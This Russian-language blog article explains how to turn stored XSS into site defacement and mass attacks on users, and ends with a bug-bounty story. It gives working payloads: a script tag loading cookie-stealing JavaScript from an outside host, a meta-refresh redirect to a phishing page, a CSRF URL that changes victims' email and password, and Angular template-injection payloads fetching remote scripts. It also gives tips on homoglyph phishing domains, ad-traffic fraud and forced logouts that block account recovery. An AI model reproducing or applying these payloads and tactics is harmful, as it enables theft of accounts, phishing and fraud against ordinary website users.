Делаем deface сайта с помощью XSS

Deface сайта можно сделать, если вы получили доступ к ftp, залили shell и тд, но также это можно сделать с помощью обычной XSS. В этой статье я хочу рассказать, как использовать Stored XSS для того, чтобы изменить содержимое главной страницы сайта или определенной страницы для того, чтобы массово воровать cookies у пользователей и делать редирект на свой сайт.

image Вся информация предоставлена исключительно в ознакомительных целях. Я не несу ответственности за любой возможный вред, причиненный материалами этой статьи.

Итак, что такое deface (Википедия):

Deface (англ. deface — уродовать, искажать) — тип взлома сайта, при котором главная (или любая другая) страница веб-сайта заменяется на другую — как правило, вызывающего вида: реклама, предупреждение, угроза или шутка.
Зачастую доступ ко всему остальному сайту блокируется, или же прежнее содержимое сайта вовсе удаляется.

Основными причинами дефейса сайта являются:

1. Хулиганство, как самоутверждение начинающих хакеров.

2. Реклама, часто сомнительной продукции или услуги. На сайте публикуются рекламные картинки, ссылки на сайты (часто зараженные вирусами) и.т п.

3. Конкуренция между организациями. Одна фирма приносит фирме конкуренту имидживые и репутационные потери через взлом и дефейс их сайта.

Пример из 12-го года.

Stored xss на главной странице чаще всего встречаются (из моего опыта) на сайтах , в которых на главной странице отображается активность пользователей. В основном это:

*юзер добавил фото 1.jpg;
*юзер создал тему / блогпост;
*юзер вступил в группу;
*юзер добавил юзера в друзья.

Мы можем внедрить скрипт в имя юзера, название фото/группы/темы, создать второй тестовый аккаунт и добавить его в друзья, таким образом скрипт выполнится на главной странице.

Ещё для того, чтобы код выполнился у большого количества людей, не обязательно его внедрять на главную страницу, можно его внедрить в личные кабинеты всех пользователей, в комментарии какой-нибудь статьи, или создать объявление на сайте, например, на country.ua (3 000 место по посещаемости в Украине), в названии и в описании объявления фильтрация, но в имени пользователя её нету.

1) Stored xss в комментарии к статье/теме — здесь все просто, пишем js в поле комментария, добавляем, ловим логи.

2) Для того, чтобы код выполнился у каждого юзера в личном кабинете, нужно использовать xss в связке с iDOR. Если с помощью idor можно изменить email любого юзера, восстановить аккаунт и взломать его — это хорошо, но что делать, если мы можем изменять такие данные, изменение которых ни к чему не приведет (например, редактирование заметки, адреса пользователя и тд)?

В таком случае мы должны найти в личном кабинете место, в котором в Post или в get запросе можно манипулировать id-ом юзера,изменять данные и начать перебор по всем возможным id. Важно, чтобы там была stored xss.

Мы можем разместить на главной странице скрипт кражи cookies , csrf эксплойт и redirect на фишинговый сайт:

1) Скрипт кражи cookies

«>%3Cscript src=https://securityz.net/1.js?>
Когда удалось поймать cookies, их потом будет сложно сортировать, тем более срок многих из них скоро заканчивается, плюсом будет, если в куки записан email адрес юзера (потом мы сможем забрутить его аккаунт) и пароль в md5(видел много сайтов, которые хранят пароли в куках).

Если мы не хотим тратить время на сортировку куков или многие куки в httponly, то мы можем прибегнуть ко второму варианту.

2) Редирект на фишинговый сайт уязвимого сайта, ссылку со скачиванием бэкдора или клон paypal / privat24 / sberbank / соц сети:

%3Cmeta http-equiv=»refresh» content=»1;URL=https://securityz.net/vk.html» />

3) Если в личном кабинете присутствует csrf, мы можем сделать редирект на csrf эксплойт, например https://example.com/account?do=settings&email=support1@habrahabr.ru&city=qwqwqw&address=qwqwwqqw&phone=11111111&password=qwerty&confirm_password=qwerty , скриптом добавлять цифру к емейлу и получать логины и пароли юзеров, разумно будет сразу использовать после эксплойта logout csrf https://example.com?logout для того, чтобы юзеры не смогли получить доступ к своему аккаунту и восстановить его.

Интересно то, что если не использовать редирект, а просто грузить js на страницу и воровать куки, то долгое время уязвимость может быть не замеченной.

Как массово взломать пользователей, мы уже выяснили. Теперь объясню, как заработать денег на рекламе или поднять свой сайт в топ по посещаемости.

Вместо того, чтобы делать редирект на фишинговые сайты, можем поднять денег с трафика, как вебмастер, просто «подсовывая» ссылки с рекламой пользователям. Для того, чтобы получить как можно больше с рекламы за то время, пока уязвимость ещё не пофикшена, будем грузить рекламу в iframe-ах или в всплывающих окнах, где они будут плодится, например, как эти мошеннки, которые зарабатывают $7 000 000 в месяц с рекламы. Много рекламодателей, которые готовы платить за переходы по ссылкам, можно найти в сети (не реклама) .

2) Ещё в далеком 2004 авторы xakep.ru поняли, как поднять свой сайт в топ с помощью внедрения на главную сайта счетчика mail.ru, можно сделать аналогично.

Два примера моих deface из реальной жизни:

  • XSS на главной странице социальной сети privatbank.ua (bug bounty). В данном случае фото заливается в альбом, на главной странице отобразится наше имя, в котором редирект на сайт, см видео.https://www.youtube.com/watch?v=Q2RZa5-DpPI
  • Client Side Template Injection, которую я раскрутил до xss, на социальной сети одной из самых популярных платежных систем (2000 alexarank мир, 150 alexa Россия).
    К сожалению, эта компания не дала разрешение упомянуть её в статье:

    Мы негативно относимся к подобным статьям.

    Я тоже думаю, что новость о том, что на сайте этой платежной системы найдена критическая уязвимость, которая могла навредить пользователям, плохо отразится на репутации компании.

    Раньше social.example.com представляла из себя cms старого поколения, в ней было много xss, которые со временем пофиксили, сейчас сделали новую cms на angular. Я не нашёл ни одной xss, решил проверить на template injection, пейлоад {{2+2}} выдал 4, определив версию angular, подобрал этот пейлоад

    {{a=toString().constructor.prototype;a.charAt=a.trim;$eval(‘a,alert(1),a’)}}
    Получилась хранимая XSS на странице юзера в посте. И эта xss выполняется где угодно на сайте: В личных сообщениях, группах, комментариях и тд.

    Но самое главное — это дефейс главной страницы. Когда добавляем пост, он отображается у всех на главной — как у юзеров, так и у гостей. Сейчас мы можем только вызвать alert.

    Вспоминаем о старой статье взлома mcdonalds с помощью template injection.

    заимствуем оттуда payload {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://securityz.net/x.js`)');}}` и мы можем смело воровать куки или делать редирект на фишинговый сайт. Кстати, по фишинговым сайтам есть лайфхак — если ваша жертва умеет заглядывать в url и различать веб сайты, то можно в названии сайта одну букву заменить на ту, которая очень схожа с ней. Например account.goØgle.com, а если ещё и есть ssl, то отличить подделку от оригинала будет сложно и в связке с deface будет много логов. латинские буквы и схожие с ними символы.)

04.02.2017: Зарепортил уязвимость.
04.02.2017: Уязвимость исправлена.
10.02.2017: Переведена награда $200. Доказал опасность тем, что это не обычная xss, а deface.
16.02.2017: Дополнительная награда $800. Итого за эту уязвимость $1000.

Вывод из статьи: В случае раскрутки xss в deface в bug bounty можно получить гораздо больше денег за эту уязвимость.

Share This:

Leave a Comment

Ваш e-mail не будет опубликован. Обязательные поля помечены *